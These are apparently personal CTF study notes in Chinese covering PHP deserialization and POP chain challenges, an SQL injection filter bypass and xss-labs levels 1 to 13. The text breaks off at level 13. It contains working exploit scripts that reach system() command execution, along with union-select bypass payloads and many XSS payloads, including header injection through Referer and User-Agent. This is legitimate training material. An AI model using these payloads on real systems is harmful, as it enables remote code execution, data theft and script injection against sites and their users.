highlight_file(__FILE__);
// 关闭所有错误报告
error_reporting(0);

// 定义一个多层base64解码的函数
function best64_decode($str)
{
// 对输入字符串进行5次base64解码
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str))));
}

// 定义yesterday类
class yesterday {
public $learn; // 公共属性learn
public $study="study"; // 公共属性study,默认值为"study"
public $try; // 公共属性try

// 构造函数
public function __construct()
{
// 初始化learn属性
$this->learn = "learn<br>";
}

// 析构函数
public function __destruct()
{
echo "You studied hard yesterday.<br>";
// 调用study对象的hard方法
return $this->study->hard();
}
}

// 定义today类
class today {
public $doing; // 公共属性doing
public $did; // 公共属性did
public $done; // 公共属性done

// 构造函数
public function __construct(){
// 初始化did属性
$this->did = "What you did makes you outstanding.<br>";
}

// 魔术方法:当调用不存在的方法时触发
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
// 检查doing属性的双重MD5哈希是否等于666
if(md5(md5($this->doing))==666){
// 调用doing属性作为函数
return $this->doing();
}
else{
// 返回doing对象的better属性
return $this->doing->better;
}
}
}

// 定义tommoraw类
class tommoraw {
public $good; // 公共属性good
public $bad; // 公共属性bad
public $soso; // 公共属性soso

// 魔术方法:当对象被当作函数调用时触发
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}

// 魔术方法:当访问不存在的属性时触发
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}
}

// 定义future类
class future{
private $impossible="How can you get here?<br>"; // 私有属性impossible
private $out; // 私有属性out
private $no; // 私有属性no
// 多个公共属性
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

// 魔术方法:当给不存在的属性赋值时触发
public function __set($arg1, $arg2) {
// 检查out对象的useful7属性是否存在
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
// 执行系统命令whoami
system('whoami');
}
}

// 魔术方法:当对象被当作字符串使用时触发
public function __toString(){
echo "This is your future.<br>";
// 执行POST参数wow指定的系统命令
system($_POST["wow"]);
return "win";
}

// 析构函数
public function __destruct(){
$this->no = "no";
return $this->no;
}
}

// 检查filename参数指定的文件是否存在
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
// 如果文件不存在,去掉filename参数最后4个字符
$data=substr($_GET['filename'],0,-4);
// 对处理后的数据进行5次base64解码后反序列化
unserialize(best64_decode($data));
}

// 注释提示:你昨天学习,今天选择,能到达你的未来吗?
// You learn yesterday, you choose today, can you get to your future?
?>

给d导解析了一下,没直接给出能用的payload,但是思路看了一下应该没问题,先调用yesterday 里的__destruct,里面调用了一个hard方法,对应today的_call,然后是当md5调用类时会将其当成字符串调用,对应future里的_toString,然后_toString里直传参wow即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class yesterday{
public $learn;
public $study;
public $try;

}

class today{
public $doing;
public $done='test';
}

class tommoraw{
}

class future{
}

$a = new yesterday;
$b = new today;
$c = new tommoraw;
$d = new future;

// 正确的属性赋值方式
$a->study = $b;
$b->doing=$d;

// 先序列化,再多层base64编码
$serialized = serialize($a);
$p = base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($serialized)))));

echo $p.'aaaa';
?>

然后再post里传wow来运行即可
wow=cat /flag;


title: note-nssctf-01
date: 2025-03-17 22:01:05
tags: nssctf

[SWPUCTF 2022 新生赛]ez_sql

题目说参数为nss,get传nss=1
提示要用更安全的传参法,那就post了
post:

1
2
nss=1'  //报错
nss=1'# //成功闭合

用联合注入发现被过滤了union,空格
双写绕过即可
爆字段payload

1
nss=' uunionnion/**/select/**/1,database(),group_concat(column_name)from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb'#

到这步就差不多了


title: note-反序列化-00
date: 2025-03-18 22:36:05
tags:

java反序列化notice

现在理解的反序列大概就是传入一串字符,经java的处理变成能执行的语句,实现rec

序列化指的是将对象或数据结构转换为可存储或传输的格式的过程,实现的方法是writeObject();反序列化则反之,实现的方法是readObject(),可以简单地理解为将文件压缩和解压缩的过程。

与PHP中反序列互相触发魔法函数导致的漏洞成因不同,java反序列化漏洞的成因主要是由于java序列化和反序列化机制的设计特点所致,简单地讲,只要反序列化代码中含有危险的命令代码,且该代码的参数是可控的,那它就存在该漏洞。

漏洞原理在我今天这里不是重要的,我主要想记录的是该漏洞的利用方式。

通常在解题中如果你看到一段字符串以rO0AB开头,那它是java序列化后base64编码的数据;如果一段字符串以aced开头,那它是java序列化后十六进制的数据,碰到这两种情况都基本可以认定该题考点为java反序列化漏洞,如果有直接接受该字符串的输入点,就可以尝试用链子直接打。

原文链接:https://blog.csdn.net/m0_64893612/article/details/136378608

[SWPUCTF 2021 新生赛]no_wakeup 学习笔记:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __wakeup(){
$this->passwd = sha1($this->passwd);
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
```

大概是get一个p参数,传给$Letmeseesee然后反序列化,可能p经过反序列化后会变成一个名为this的变量,里面包含有{admin,passwd},其中passwd经过sha1计算再赋值给原来的passwd,当this里的admin===admin,经过sha1计算的passwd===wllm时就会输出flag

KIMI:

你的审计思路基本正确,但有一些细节需要澄清:
反序列化后的对象状态:
当用户传入的p参数被反序列化后,如果它是一个HaHaHa类的对象,那么__wakeup()方法会被调用,此时$passwd的值会被更新为sha1($passwd)。
因此,$passwd的值在反序列化后会被哈希处理,而不是直接使用传入的值。
条件判断:
在析构方法中,判断条件是$admin === “admin”且$passwd === “wllm”。
因此,攻击者需要构造一个对象,使得反序列化后$admin为”admin”,并且$passwd在经过sha1()哈希后等于”wllm”。

然而怎么可能会有在经过sha1处理后的到wllm的值。
所以要绕过这个__wakeup()

__wakeup() 的作用
反序列化时的初始化:
当一个对象被序列化后,其状态会被保存为字符串。在反序列化时,对象的状态会被恢复,但某些资源(如数据库连接)可能无法直接序列化,因此需要在反序列化后重新初始化这些资源。
__wakeup() 方法正是为此设计的,它允许你在对象恢复后执行一些必要的操作。
数据处理:
在反序列化后,你可能需要对对象的某些属性进行处理。例如,对敏感数据进行解密,或者对某些属性进行格式转换。

所以大概就是当触发反序列化时__wakeup就会调用这个sha1.

网上正确的payload:

1
?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

学习notice:

1
2
3
4
5
O:表示这是一个对象(Object)。  
O:6:"HaHaHa":表示这是一个类名为HaHaHa的对象,类名长度为6
3:表示对象有3个属性。
s:5:"admin";s:5:"admin";:第一个属性名为admin,值为admin。
s:6:"passwd";s:4:"wllm";:第二个属性名为passwd,值为wllm。

这个payload能够绕过__wakeup()方法的原因可能与PHP反序列化过程中的一些特性或漏洞有关,比如属性个数不匹配(CVE-2016-7124)。
在这个漏洞中,如果序列化字符串中指定的属性个数比实际类中定义的属性个数多,PHP在反序列化时可能会绕过__wakeup()方法的执行。

绕过原理
由于修改了属性个数,PHP在反序列化时会跳过__wakeup()方法的执行。因此,passwd属性的值不会被SHA-1哈希处理,而是直接保留为wllm。当对象被销毁时,__destruct()方法会检查admin和passwd的值,发现它们满足条件,从而包含flag.php并输出flag。
通过这种方式,攻击者成功绕过了__wakeup()方法,直接设置了所需的属性值,触发了敏感文件的包含。

我的理解就是:
构造一个被java序列化后的数值来满足条件,并且使用定义与实际的的属性个数不同来绕过wakeup(),因为wakeup根本就是不想让你过的

O:6:”HaHaHa”:2:{s:5:”admin”;s:5:”admin”;s:6:”passwd”;s:10:”wllm”;}
其中s是字符串长度,2代表里面有两个元素:admin=admin,passwd=wllm。
吧2改成其它超过实际元素的值即可绕过wakeup()
就是要大过2,不知道为什么不能小于2


title: note-反序列化-01
date: 2025-03-19 18:49:19
tags:

pop链,我也不知道是什么

POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload,实战应用范围暂时没遇到,不过在CTF比赛中经常出现这样的题目,同时也经常与反序列化一起考察,可以理解为是反序列化的一种拓展,泛用性更强,涉及到的魔法方法也更多。

[SWPUCTF 2021 新生赛]pop

我想tag可以有:pop链,反序列化
原题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

error_reporting(0);
show_source("index.php");

class w44m{

private $admin = 'aaa';
protected $passwd = '123456';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}

$w00m = $_GET['w00m'];
unserialize($w00m);

学了大佬的wp https://blog.csdn.net/u010723806/article/details/142340216
payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a=new w22m();
$a->w00m=new w33m();
$a->w00m->w00m=new w44m();
$a->w00m->w22m='Getflag';
echo urlencode(serialize($a));
?>

看完后应该是因为只能传w00m的值,而w44m中无法直接传入,要通过一场串相互关联的类才能传入,这大概就是pop链吧

先是 w22m 和 w33m 都能传入w00m,

$this->w00m->{$this->w22m}(); 最终的效果是动态调用 $this->w00m 对象中的一个方法,方法的名称由 $this->w22m 决定。而 这条语句的意思就是调用了在w33m里的w00m属性(这里是w00m类)中的w22m方法。

为什么先赋值 w22m

利用 w22m 的 __destruct 方法:
w22m 类的 __destruct 方法会输出 $this->w00m。
当 PHP 脚本结束时,或者当对象被销毁时,__destruct 方法会被自动调用。
这意味着,当我们反序列化一个 w22m 对象时,__destruct 方法会立即执行,从而触发后续的操作。

触发 w33m 的 __toString 方法:
w22m 的 __destruct 方法输出 $this->w00m,而 $this->w00m 是一个 w33m 对象。
当 PHP 需要将一个对象转换为字符串时(例如在 echo 中),会自动调用该对象的 __toString 方法。
因此,w33m 的 __toString 方法会被调用。

调用 w44m 的 Getflag 方法:
w33m 的 __toString 方法中,$this->w00m->{$this->w22m}() 会被执行。
这里的 $this->w00m 是一个 w44m 对象,而 $this->w22m 是字符串 ‘Getflag’。
因此,w44m 的 Getflag 方法会被调用。

我的理解是:整个构造的最终目的是为了执行 w44m 类中的 Getflag 方法

对于__toString(),要求是在它类里的变量被实例化时才会被触发。所以$p->w00m = new w33m();则不会触发__toString()。而后面$a->w00m->w00m=new w44m();语句为w33m类中的变量实例化后,才能使_toString()方法可被调用,进一步让$a->w00m->w22m=’Getflag’;语句生效。

当我们传递的参数中含有private变量时,一定要url编码一下,否则会有不可见字符导致解析出错。

这是我猜测后端代码接收到传入后的样子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class w22m{
public (w00m)class w33m{
public class (w00m)w44m{

private $admin = 'w44m';
protected $passwd = '08067';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
public (w22m)'Getflag';
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
public function __destruct(){
echo $this->w00m;
}
}
?>




\

1
$this->w00m->{$this->w22m}();

q:

的意思是让将w22m的值作为参数输入w00m吗

kimi:

不是的,例如,如果 $this->w22m 的值是 ‘Getflag’,那么这行代码就相当于 $this->w00m->Getflag()。

q:

那就是执行w00m中的getflag()?

kimi:

是的,这行代码的意思是执行 $this->w00m 对象中的 Getflag() 方法

那么我看总的意思是:

将w22m中的w00m赋值为w33m的类
再将w22m中w00m(现已为w33m类)的w00m赋值为w44m的类
最后将w22m中的w00m(现已为w33m类)中的w22m赋值为‘GetFlag’
最后由于__toString()函数,会将改类下的w22m的值作为w44m中的的元素执行,那结果就是执行w44m中的Getflag
输出flag

wp作者:

1
2
3
4
5
6
7
8
$a=new w22m();//这段代码说明我们将w22m类赋值给a,现在可以将$a看做w22m类,所以现在$a中有一个属性w00m

$a->w00m=new w33m();//将w22m中的w00m属性调用(指向)w33m类:现在w22m中w00m属性有w33类中w00m和w22m两个属性。

$a->w00m->w00m=new w44m();//w22m类中w00m属性调用了w44m类

$a->w00m->w22m='Getflag';//使用了w44m类中的Getflag方法,()在w33m中_toString()方法被调用。
最后的效果就是在w44m中执行了Getflag()整个方法,输出了$flag的值。

https://blog.csdn.net/u010723806/article/details/142340216

最后payload

1
O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"w44madmin";s:4:"w44m";s:9:"*passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}

传入要型url编码,

当我们传递的参数中含有private变量时,一定要url编码一下,否则会有不可见字符导致解析出错


title: xss-labs-studynotes
date: 2025-10-01 01:59:18
tags:

打一下xss-labs

level 1

可以直接用payload:

1
<script>alert("1")</script>

level 2

自己没试出来,去网上找payload,发现闭合型标签注入可用:

1
"><script>alert('XSS')</script>

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

分析一下源码,先是有htmlspcialchar来进行转义特殊字符,但是在下面的.$str.没有,所以也不需要考虑绕过
如果插入:

1
"><script>alert('XSS')</script>

会变成:

1
<input name=keyword  value="'"><script>alert('XSS')</script>'">

这里是先闭合了双引号,再闭合了input的尖括号,最后的script就变成了新元素执行了

level 3

先尝试:

1
<script>aler('XSS')</script>

查看返回页面原码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(&quot;1&quot;)&lt;/script&gt;相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value='&lt;script&gt;alert(&quot;1&quot;)&lt;/script&gt;'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:27</h3></body>
</html>

全都进行了转义,
学习了网上的 onfocus事件绕过
在不需要<>的情况下完成绕过,大概就是在用户触发onfocus时会调用 onfocus=”myFuncuntion()” 里的myFuncuntion,但是面对未知源码的网站我们不知道有什么确切的函数
所以使用JavaScript伪协议进行绕过,
JavaScript 协议(javascript:)是一种特殊的 URL 协议,用于在浏览器中直接执行 JavaScript 代码

示例用法:

1
javascript:alert('Hello, World!');

所以构造payload:

1
2
3
4
5
6
7
8
9
10
11
finish' onfocus=javascript:alert('XSS') '

这时候:

<input name=keyword value='114514'>

会变成:

<input name=keyword value='finish' onfocus=javascript:alert('XSS') ''>

这时候点击输入框触发onfocus就能执行

level 4

先查看一下页面源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和114514相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword value="114514">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:6</h3></body>
</html>

注意到与level 3 只是 单引号 变成了 双引号

遂构造:

1
finish" onfocus=javascript:alert('XSS') "

完成挑战

level 5

先看一下前端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和find a way out!相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword value="find a way out!">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:15</h3></body>
</html>

怎么感觉,和上一关一样啊?
但是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和finish&quot; onfocus=javascript:alert('xss') &quot;相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword value="finish" o_nfocus=javascript:alert('xss') "">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:42</h3></body>
</html>

onfocus 里 on 变成 o_n 了。
onfocus
去docker里看了一眼源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

依旧没有转义input里的str,那尝试构造:

1
'" ><a href=javascript:alert()>HIHI</a> <"'

成功

level 6

可以通过大小写绕过on和er的转义:
payload:

1
'" ><a hRef=javascript:alert()>HIHI</a> <"'

level 7

随便填个payload,然后查看页面源码。

发现这次是直接吧关键词过滤了,大小写绕不过了;

联想到sql注入类似的场景,双写试一下?

1
'" ><a hrhrefef=javascript:alert()>HIHI</a> <"'

成功了,但是点击不了,换一条payload看看呢:

1
finish" oonnfocus=javascript:alert('XSS') "

成功!

level 8

这里多了个添加友情连接,大概就是输入插入里面,源码看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<center>
<form action=level8.php method=GET>
<input name=keyword value="finish&quot; oonnfocus=javascript:alert('xss') &quot;">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="finish&quot oo_nnfocus=javascr_ipt:alert('xss') &quot">友情链接</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的长度:53</h3></body>
</html>

强制转化为小写并且全部转义。。。

忍不住看来网上的wp,说是href会自动编译自己链接里的unioncode,

但🈶又问了一下ai:

在 HTML 中,href 属性本身不会“编译” Unicode,但浏览器在解析 HTML 和处理 URL 时,会按照标准对 Unicode 字符进行编码和解码。这可能会让你产生“自动编译”的错觉。

然后🈶又找了一下,发现并不是浏览器解析unioncode的原因,是href会解析html实体的原因

能通过将payload编译为html的十进制或十六进制实体来进行绕过:

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

这段在赛博厨子里自动识别为:HTML Entity
所以说并不是unioncode

level 9

上一关的payload就直接被band了。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<center>
<form action=level9.php method=GET>
<input name=keyword value="&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#41;">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:101</h3></body>
</html>

只能去看源码了吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

我们必须让输入包含 http://,否则不会把我们的输入插入到 href 中!

这样的话,使用内联注释付 /**/,在sql中也常用作空格绕过
payload:

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/*http://*/

level 10

这关的注入点在url上
看网上wp,有其他传参参数?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

“t_sort”就过滤了尖括号而已,还是上网找了答案:

playlaod:

1
?t_sort=" onfocus=javascript:alert() type="text

这样源码就变成了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" onfocus=javascript:alert() type="text" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>

此时的:

1
<input name="t_sort"  value="" onfocus=javascript:alert() type="text" type="hidden">

新的type=”text”就覆盖了原来的type,就能让输入框显示出来了

隐藏的input标签可以插入type=”text”显示

ai的解释:

1
2
3
4
5
6
即使最终 DOM 中有两个 type,但只要浏览器曾经把它当作 text 处理,它就可能:

在页面上占据空间
可以获得焦点
可以触发 onfocus
而 onfocus 事件不依赖 type 最终值,只要元素能获得焦点即可。

level 11

先看一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

看到$str和$str00都会被转义,但http报头会被引用?
那注入点就是在报头了,和ai沟通一波,
最后再把上一题的payload拿来用,在http报头加上payload:

1
Referer: '" onfocus="alert(1)" type="text" "

level 12

依旧先偷看一眼源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html

依旧报头注入,这次变成USER_AGENT了
也是直接拿上题payload来用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /level12.php HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="129", "Not=A?Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: '" onfocus="alert(1)" type="text" "
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

level 13

进页面先有个php语法报错:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

